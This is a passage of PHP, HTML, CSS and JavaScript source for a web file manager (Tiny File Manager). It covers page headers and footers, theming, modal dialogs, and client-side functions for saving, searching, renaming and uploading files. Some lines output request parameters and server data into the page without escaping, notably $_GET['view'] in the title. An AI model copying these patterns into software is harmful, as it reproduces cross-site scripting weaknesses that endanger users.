                min-height: 100vh;
            }
        </style>
    </head>

    <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
        <div id="wrapper" class="container-fluid">

        <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
    </body>

    </html>

<?php
    }

    /**
     * Show Header after login
     */
    function fm_show_header()
    {
        header("Content-Type: text/html; charset=utf-8");
        header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
        header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");

        global $sticky_navbar, $favicon_path;
        $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
    <!DOCTYPE html>
    <html data-bs-theme="<?php echo FM_THEME; ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?> | <?php echo (isset($_GET['view']) ? $_GET['view'] : ((isset($_GET['edit'])) ? $_GET['edit'] : "H3K")); ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('pre-cloudflare'); ?>
        <?php print_external('css-bootstrap'); ?>
        <?php print_external('css-font-awesome'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('css-highlightjs'); ?>
        <?php endif; ?>
        <script type="text/javascript">
            window.csrf = '<?php echo $_SESSION['token']; ?>';
        </script>
        <style>
            html {
                -moz-osx-font-smoothing: grayscale;
                -webkit-font-smoothing: antialiased;
                text-rendering: optimizeLegibility;
                height: 100%;
                scroll-behavior: smooth;
            }

            *,
            *::before,
            *::after {
                box-sizing: border-box;
            }

            body {
                font-size: 15px;
                color: #222;
                background: #F7F7F7;
            }

            body.navbar-fixed {
                margin-top: 55px;
            }

            a,
            a:hover,
            a:visited,
            a:focus {
                text-decoration: none !important;
            }

            .filename,
            td,
            th {
                white-space: nowrap
            }

            .navbar-brand {
                font-weight: bold;
            }

            .nav-item.avatar a {
                cursor: pointer;
                text-transform: capitalize;
            }

            .nav-item.avatar a>i {
                font-size: 15px;
            }

            .nav-item.avatar .dropdown-menu a {
                font-size: 13px;
            }

            #search-addon {
                font-size: 12px;
                border-right-width: 0;
            }

            .brl-0 {
                background: transparent;
                border-left: 0;
                border-top-left-radius: 0;
                border-bottom-left-radius: 0;
            }

            .brr-0 {
                border-top-right-radius: 0;
                border-bottom-right-radius: 0;
            }

            .bread-crumb {
                color: #cccccc;
                font-style: normal;
            }

            #main-table {
                transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1), width 0s .25s;
            }

            #main-table .filename a {
                color: #222222;
            }

            .table td,
            .table th {
                vertical-align: middle !important;
            }

            .table .custom-checkbox-td .custom-control.custom-checkbox,
            .table .custom-checkbox-header .custom-control.custom-checkbox {
                min-width: 18px;
                display: flex;
                align-items: center;
                justify-content: center;
            }

            .table-sm td,
            .table-sm th {
                padding: .4rem;
            }

            .table-bordered td,
            .table-bordered th {
                border: 1px solid #f1f1f1;
            }

            .hidden {
                display: none
            }

            pre.with-hljs {
                padding: 0;
                overflow: hidden;
            }

            pre.with-hljs code {
                margin: 0;
                border: 0;
                overflow: scroll;
            }

            code.maxheight,
            pre.maxheight {
                max-height: 512px
            }

            .fa.fa-caret-right {
                font-size: 1.2em;
                margin: 0 4px;
                vertical-align: middle;
                color: #ececec
            }

            .fa.fa-home {
                font-size: 1.3em;
                vertical-align: bottom
            }

            .path {
                margin-bottom: 10px
            }

            form.dropzone {
                min-height: 200px;
                border: 2px dashed #007bff;
                line-height: 6rem;
            }

            .right {
                text-align: right
            }

            .center,
            .close,
            .login-form,
            .preview-img-container {
                text-align: center
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            .preview-img {
                max-width: 100%;
                max-height: 80vh;
                background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);
                cursor: zoom-in
            }

            input#preview-img-zoomCheck[type=checkbox] {
                display: none
            }

            input#preview-img-zoomCheck[type=checkbox]:checked~label>img {
                max-width: none;
                max-height: none;
                cursor: zoom-out
            }

            .inline-actions>a>i {
                font-size: 1em;
                margin-left: 5px;
                background: #3785c1;
                color: #fff;
                padding: 3px 4px;
                border-radius: 3px;
            }

            .preview-video {
                position: relative;
                max-width: 100%;
                height: 0;
                padding-bottom: 62.5%;
                margin-bottom: 10px
            }

            .preview-video video {
                position: absolute;
                width: 100%;
                height: 100%;
                left: 0;
                top: 0;
                background: #000
            }

            .compact-table {
                border: 0;
                width: auto
            }

            .compact-table td,
            .compact-table th {
                width: 100px;
                border: 0;
                text-align: center
            }

            .compact-table tr:hover td {
                background-color: #fff
            }

            .filename {
                max-width: 420px;
                overflow: hidden;
                text-overflow: ellipsis
            }

            .break-word {
                word-wrap: break-word;
                margin-left: 30px
            }

            .break-word.float-left a {
                color: #7d7d7d
            }

            .break-word+.float-right {
                padding-right: 30px;
                position: relative
            }

            .break-word+.float-right>a {
                color: #7d7d7d;
                font-size: 1.2em;
                margin-right: 4px
            }

            #editor {
                position: absolute;
                right: 15px;
                top: 100px;
                bottom: 15px;
                left: 15px
            }

            @media (max-width:481px) {
                #editor {
                    top: 150px;
                }
            }

            #normal-editor {
                border-radius: 3px;
                border-width: 2px;
                padding: 10px;
                outline: none;
            }

            .btn-2 {
                padding: 4px 10px;
                font-size: small;
            }

            li.file:before,
            li.folder:before {
                font: normal normal normal 14px/1 FontAwesome;
                content: "\f016";
                margin-right: 5px
            }

            li.folder:before {
                content: "\f114"
            }

            i.fa.fa-folder-o {
                color: #0157b3
            }

            i.fa.fa-picture-o {
                color: #26b99a
            }

            i.fa.fa-file-archive-o {
                color: #da7d7d
            }

            .btn-2 i.fa.fa-file-archive-o {
                color: inherit
            }

            i.fa.fa-css3 {
                color: #f36fa0
            }

            i.fa.fa-file-code-o {
                color: #007bff
            }

            i.fa.fa-code {
                color: #cc4b4c
            }

            i.fa.fa-file-text-o {
                color: #0096e6
            }

            i.fa.fa-html5 {
                color: #d75e72
            }

            i.fa.fa-file-excel-o {
                color: #09c55d
            }

            i.fa.fa-file-powerpoint-o {
                color: #f6712e
            }

            i.go-back {
                font-size: 1.2em;
                color: #007bff;
            }

            .main-nav {
                padding: 0.2rem 1rem;
                box-shadow: 0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)
            }

            .dataTables_filter {
                display: none;
            }

            table.dataTable thead .sorting {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC');
            }

            table.dataTable thead .sorting_asc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==');
            }

            table.dataTable thead .sorting_desc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=');
            }

            table.dataTable thead tr:first-child th.custom-checkbox-header:first-child {
                background-image: none;
            }

            .footer-action li {
                margin-bottom: 10px;
            }

            .app-v-title {
                font-size: 24px;
                font-weight: 300;
                letter-spacing: -.5px;
                text-transform: uppercase;
            }

            hr.custom-hr {
                border-top: 1px dashed #8c8b8b;
                border-bottom: 1px dashed #fff;
            }

            #snackbar {
                visibility: hidden;
                min-width: 250px;
                margin-left: -125px;
                background-color: #333;
                color: #fff;
                text-align: center;
                border-radius: 2px;
                padding: 16px;
                position: fixed;
                z-index: 1;
                left: 50%;
                bottom: 30px;
                font-size: 17px;
            }

            #snackbar.show {
                visibility: visible;
                -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s;
                animation: fadein 0.5s, fadeout 0.5s 2.5s;
            }

            @-webkit-keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @-webkit-keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            @keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            #main-table span.badge {
                border-bottom: 2px solid #f8f9fa
            }

            #main-table span.badge:nth-child(1) {
                border-color: #df4227
            }

            #main-table span.badge:nth-child(2) {
                border-color: #f8b600
            }

            #main-table span.badge:nth-child(3) {
                border-color: #00bd60
            }

            #main-table span.badge:nth-child(4) {
                border-color: #4581ff
            }

            #main-table span.badge:nth-child(5) {
                border-color: #ac68fc
            }

            #main-table span.badge:nth-child(6) {
                border-color: #45c3d2
            }

            @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) {
                .navbar-collapse .col-xs-6 {
                    padding: 0;
                }
            }

            .btn.active.focus,
            .btn.active:focus,
            .btn.focus,
            .btn.focus:active,
            .btn:active:focus,
            .btn:focus {
                outline: 0 !important;
                outline-offset: 0 !important;
                background-image: none !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            .lds-facebook {
                display: none;
                position: relative;
                width: 64px;
                height: 64px
            }

            .lds-facebook div,
            .lds-facebook.show-me {
                display: inline-block
            }

            .lds-facebook div {
                position: absolute;
                left: 6px;
                width: 13px;
                background: #007bff;
                animation: lds-facebook 1.2s cubic-bezier(0, .5, .5, 1) infinite
            }

            .lds-facebook div:nth-child(1) {
                left: 6px;
                animation-delay: -.24s
            }

            .lds-facebook div:nth-child(2) {
                left: 26px;
                animation-delay: -.12s
            }

            .lds-facebook div:nth-child(3) {
                left: 45px;
                animation-delay: 0s
            }

            @keyframes lds-facebook {
                0% {
                    top: 6px;
                    height: 51px
                }

                100%,
                50% {
                    top: 19px;
                    height: 26px
                }
            }

            ul#search-wrapper {
                padding-left: 0;
                border: 1px solid #ecececcc;
            }

            ul#search-wrapper li {
                list-style: none;
                padding: 5px;
                border-bottom: 1px solid #ecececcc;
            }

            ul#search-wrapper li:nth-child(odd) {
                background: #f9f9f9cc;
            }

            .c-preview-img {
                max-width: 300px;
            }

            .border-radius-0 {
                border-radius: 0;
            }

            .float-right {
                float: right;
            }

            .table-hover>tbody>tr:hover>td:first-child {
                border-left: 1px solid #1b77fd;
            }

            #main-table tr.even {
                background-color: #F8F9Fa;
            }

            .filename>a>i {
                margin-right: 3px;
            }

            .fs-7 {
                font-size: 14px;
            }
        </style>
        <?php
        if (FM_THEME == "dark"): ?>
            <style>
                :root {
                    --bs-bg-opacity: 1;
                    --bg-color: #f3daa6;
                    --bs-dark-rgb: 28, 36, 41 !important;
                    --bs-bg-opacity: 1;
                }

                body.theme-dark {
                    background-image: linear-gradient(90deg, #1c2429, #263238);
                    color: #CFD8DC;
                }

                .list-group .list-group-item {
                    background: #343a40;
                }

                .theme-dark .navbar-nav i,
                .navbar-nav .dropdown-toggle,
                .break-word {
                    color: #CFD8DC;
                }

                a,
                a:hover,
                a:visited,
                a:active,
                #main-table .filename a,
                i.fa.fa-folder-o,
                i.go-back {
                    color: var(--bg-color);
                }

                ul#search-wrapper li:nth-child(odd) {
                    background: #212a2f;
                }

                .theme-dark .btn-outline-primary {
                    color: #b8e59c;
                    border-color: #b8e59c;
                }

                .theme-dark .btn-outline-primary:hover,
                .theme-dark .btn-outline-primary:active {
                    background-color: #2d4121;
                }

                .theme-dark input.form-control {
                    background-color: #101518;
                    color: #CFD8DC;
                }

                .theme-dark .dropzone {
                    background: transparent;
                }

                .theme-dark .inline-actions>a>i {
                    background: #79755e;
                }

                .theme-dark .text-white {
                    color: #CFD8DC !important;
                }

                .theme-dark .table-bordered td,
                .table-bordered th {
                    border-color: #343434;
                }

                .theme-dark .table-bordered td .custom-control-input,
                .theme-dark .table-bordered th .custom-control-input {
                    opacity: 0.678;
                }

                .message {
                    background-color: #212529;
                }

                form.dropzone {
                    border-color: #79755e;
                }
            </style>
        <?php endif; ?>
    </head>

    <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
        <div id="wrapper" class="container-fluid">
            <!-- New Item creation -->
            <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content" method="post">
                        <div class="modal-header">
                            <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                                <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                            </div>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                                <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                            </div>

                            <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                            <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                        </div>
                        <div class="modal-footer">
                            <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                            <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Advance Search Modal -->
            <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog modal-lg" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title col-10" id="searchModalLabel">
                                <div class="input-group mb-3">
                                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                                    <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                                </div>
                            </h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <form action="" method="post">
                                <div class="lds-facebook">
                                    <div></div>
                                    <div></div>
                                    <div></div>
                                </div>
                                <ul id="search-wrapper">
                                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                                </ul>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

            <!--Rename Modal -->
            <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content rounded-3 shadow" method="post" autocomplete="off">
                        <div class="modal-body p-4 text-center">
                            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
                            <p class="mb-1">
                                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <input type="hidden" name="rename_from" id="js-rename-from">
                            </p>
                        </div>
                        <div class="modal-footer flex-nowrap p-0">
                            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Confirm Modal -->
            <script type="text/html" id="js-tpl-confirm">
                <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>" data-bs-theme="<?php echo FM_THEME; ?>">
                    <div class="modal-dialog" role="document">
                        <form class="modal-content rounded-3 shadow" method="post" autocomplete="off" action="<%this.action%>">
                            <div class="modal-body p-4 text-center">
                                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                                <p class="mb-1"><%this.content%></p>
                            </div>
                            <div class="modal-footer flex-nowrap p-0">
                                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
                            </div>
                        </form>
                    </div>
                </div>
            </script>
        <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
        <?php print_external('js-jquery-datatables'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('js-highlightjs'); ?>
            <script>
                hljs.highlightAll();
                var isHighlightingEnabled = true;
            </script>
        <?php endif; ?>
        <script>
            function template(html, options) {
                var re = /<\%([^\%>]+)?\%>/g,
                    reExp = /(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,
                    code = 'var r=[];\n',
                    cursor = 0,
                    match;
                var add = function(line, js) {
                    js ? (code += line.match(reExp) ? line + '\n' : 'r.push(' + line + ');\n') : (code += line != '' ? 'r.push("' + line.replace(/"/g, '\\"') + '");\n' : '');
                    return add
                }
                while (match = re.exec(html)) {
                    add(html.slice(cursor, match.index))(match[1], !0);
                    cursor = match.index + match[0].length
                }
                add(html.substr(cursor, html.length - cursor));
                code += 'return r.join("");';
                return new Function(code.replace(/[\r\t\n]/g, '')).apply(options)
            }

            function rename(e, t) {
                if (t) {
                    $("#js-rename-from").val(t);
                    $("#js-rename-to").val(t);
                    $("#renameDailog").modal('show');
                }
            }

            function change_checkboxes(e, t) {
                for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked
            }

            function get_checkboxes() {
                for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--)(e[n].type = "checkbox") && t.push(e[n]);
                return t
            }

            function select_all() {
                change_checkboxes(get_checkboxes(), !0)
            }

            function unselect_all() {
                change_checkboxes(get_checkboxes(), !1)
            }

            function invert_all() {
                change_checkboxes(get_checkboxes())
            }

            function checkbox_toggle() {
                var e = get_checkboxes();
                e.push(this), change_checkboxes(e)
            }

            // Create file backup with .bck
            function backup(e, t) {
                var n = new XMLHttpRequest,
                    a = "path=" + e + "&file=" + t + "&token=" + window.csrf + "&type=backup&ajax=true";
                return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function() {
                    4 == n.readyState && 200 == n.status && toast(n.responseText)
                }, n.send(a), !1
            }

            // Toast message
            function toast(txt) {
                var x = document.getElementById("snackbar");
                x.innerHTML = txt;
                x.className = "show";
                setTimeout(function() {
                    x.className = x.className.replace("show", "");
                }, 3000);
            }

            // Save file
            function edit_save(e, t) {
                var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
                if (typeof n !== 'undefined' && n !== null) {
                    if (true) {
                        var data = {
                            ajax: true,
                            content: n,
                            type: 'save',
                            token: window.csrf
                        };

                        $.ajax({
                            type: "POST",
                            url: window.location,
                            data: JSON.stringify(data),
                            contentType: "application/json; charset=utf-8",
                            success: function(mes) {
                                toast("Saved Successfully");
                                window.onbeforeunload = function() {
                                    return
                                }
                            },
                            failure: function(mes) {
                                toast("Error: try again");
                            },
                            error: function(mes) {
                                toast(`<p style="background-color:red">${mes.responseText}</p>`);
                            }
                        });
                    } else {
                        var a = document.createElement("form");
                        a.setAttribute("method", "POST"), a.setAttribute("action", "");
                        var o = document.createElement("textarea");
                        o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                        let cx = document.createElement("input");
                        cx.setAttribute("type", "hidden");
                        cx.setAttribute("name", "token");
                        cx.setAttribute("value", window.csrf);
                        var c = document.createTextNode(n);
                        o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
                    }
                }
            }

            function show_new_pwd() {
                $(".js-new-pwd").toggleClass('hidden');
            }

            // Save Settings
            function save_settings($this) {
                let form = $($this);
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            window.location.reload();
                        }
                    }
                });
                return false;
            }

            //Create new password hash
            function new_password_hash($this) {
                let form = $($this),
                    $pwd = $("#js-pwd-result");
                $pwd.val('');
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            $pwd.val(data);
                        }
                    }
                });
                return false;
            }

            // Upload files using URL @param {Object}
            function upload_from_url($this) {
                let form = $($this),
                    resultWrapper = $("div#js-url-upload__list");
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    beforeSend: function() {
                        form.find("input[name=uploadurl]").attr("disabled", "disabled");
                        form.find("button").hide();
                        form.find(".lds-facebook").addClass('show-me');
                    },
                    success: function(data) {
                        if (data) {
                            data = JSON.parse(data);
                            if (data.done) {
                                resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: ' + data.done.name + '</div>');
                                form.find("input[name=uploadurl]").val('');
                            } else if (data['fail']) {
                                resultWrapper.append('<div class="alert alert-danger row">Error: ' + data.fail.message + '</div>');
                            }
                            form.find("input[name=uploadurl]").removeAttr("disabled");
                            form.find("button").show();
                            form.find(".lds-facebook").removeClass('show-me');
                        }
                    },
                    error: function(xhr) {
                        form.find("input[name=uploadurl]").removeAttr("disabled");
                        form.find("button").show();
                        form.find(".lds-facebook").removeClass('show-me');
                        console.error(xhr);
                    }
                });
                return false;
            }

            // Search template
            function search_template(data) {
                var response = "";
                $.each(data, function(key, val) {
                    response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
                });
                return response;
            }

            // Advance search
            function fm_search() {
                var searchTxt = $("input#advanced-search").val(),
                    searchWrapper = $("ul#search-wrapper"),
                    path = $("#js-search-modal").attr("href"),
                    _html = "",
                    $loader = $("div.lds-facebook");
                if (!!searchTxt && searchTxt.length > 2 && path) {
                    var data = {
                        ajax: true,
                        content: searchTxt,
                        path: path,
                        type: 'search',
                        token: window.csrf
                    };
                    $.ajax({
                        type: "POST",
                        url: window.location,
                        data: data,
                        beforeSend: function() {
                            searchWrapper.html('');
                            $loader.addClass('show-me');
                        },
                        success: function(data) {
                            $loader.removeClass('show-me');
                            data = JSON.parse(data);
                            if (data && data.length) {
                                _html = search_template(data);
                                searchWrapper.html(_html);
                            } else {
                                searchWrapper.html('<p class="m-2">No result found!<p>');
                            }
                        },
                        error: function(xhr) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        },
                        failure: function(mes) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        }
                    });
                } else {
                    searchWrapper.html("OOPS: minimum 3 characters required!");
                }
            }

            // action confirm dailog modal
            function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
                e.preventDefault();
                const tplObj = {
                    id,
                    title,
                    content: decodeURIComponent(content.replace(/\+/g, ' ')),
                    action
                };
                let tpl = $("#js-tpl-confirm").html();
                $(".modal.confirmDailog").remove();
                $('#wrapper').append(template(tpl, tplObj));
                const $confirmDailog = $("#confirmDailog-" + tplObj.id);
                $confirmDailog.modal('show');
                return false;
            }

            // on mouse hover image preview
            ! function(s) {
                s.previewImage = function(e) {
                    var o = s(document),
                        t = ".previewImage",
                        a = s.extend({
                            xOffset: 20,
                            yOffset: -20,
                            fadeIn: "fast",
                            css: {
                                padding: "5px",
                                border: "1px solid #cccccc",
                                "background-color": "#fff"
                            },
                            eventSelector: "[data-preview-image]",
                            dataKey: "previewImage",
                            overlayId: "preview-image-plugin-overlay"
                        }, e);
                    return o.off(t), o.on("mouseover" + t, a.eventSelector, function(e) {
                        s("p#" + a.overlayId).remove();
                        var o = s("<p>").attr("id", a.overlayId).css("position", "absolute").css("display", "none").append(s('<img class="c-preview-img">').attr("src", s(this).data(a.dataKey)));
                        a.css && o.css(a.css), s("body").append(o), o.css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px").fadeIn(a.fadeIn)
                    }), o.on("mouseout" + t, a.eventSelector, function() {
                        s("#" + a.overlayId).remove()
                    }), o.on("mousemove" + t, a.eventSelector, function(e) {
                        s("#" + a.overlayId).css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px")
                    }), this
                }, s.previewImage()
            }(jQuery);

            // Dom Ready Events
            $(document).ready(function() {
                // dataTable init
                var $table = $('#main-table'),
                    tableLng = $table.find('th').length,
                    _targets = (tableLng && tableLng == 7) ? [0, 4, 5, 6] : tableLng == 5 ? [0, 4] : [3];
                mainTable = $('#main-table').DataTable({
                    paging: false,
                    info: false,
                    order: [],
                    columnDefs: [{
                        targets: _targets,
                        orderable: false
                    }]
                });

                // filter table
                $('#search-addon').on('keyup', function() {
                    mainTable.search(this.value).draw();
                });

                $("input#advanced-search").on('keyup', function(e) {
                    if (e.keyCode === 13) {
                        fm_search();
                    }
                });

                $('#search-addon3').on('click', function() {
                    fm_search();
                });

                //upload nav tabs
                $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e) {
                    e.preventDefault();
                    let target = $(this).data('target');
                    $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');
                    $(this).addClass('active');
                    $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');
                    $(target).removeClass('hidden');
                });
            });
        </script>

        <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY):
            $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
            $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
            <?php print_external('js-ace'); ?>
            <script>
                var editor = ace.edit("editor");
                editor.getSession().setMode({
                    path: "ace/mode/<?php echo $ext; ?>",
                    inline: true
                });
                //editor.setTheme("ace/theme/twilight"); // Dark Theme
                editor.setShowPrintMargin(false); // Hide the vertical ruler
                function ace_commend(cmd) {
                    editor.commands.exec(cmd, editor);
                }
                editor.commands.addCommands([{
                    name: 'save',
                    bindKey: {
                        win: 'Ctrl-S',
                        mac: 'Command-S'
                    },
                    exec: function(editor) {
                        edit_save(this, 'ace');
                    }
                }]);

                function renderThemeMode() {
                    var $modeEl = $("select#js-ace-mode"),
                        $themeEl = $("select#js-ace-theme"),
                        $fontSizeEl = $("select#js-ace-fontSize"),
                        optionNode = function(type, arr) {
                            var $Option = "";
                            $.each(arr, function(i, val) {
                                $Option += "<option value='" + type + i + "'>" + val + "</option>";
                            });
                            return $Option;
                        },
                        _data = {
                            "aceTheme": {
                                "bright": {
                                    "chrome": "Chrome",
                                    "clouds": "Clouds",
                                    "crimson_editor": "Crimson Editor",
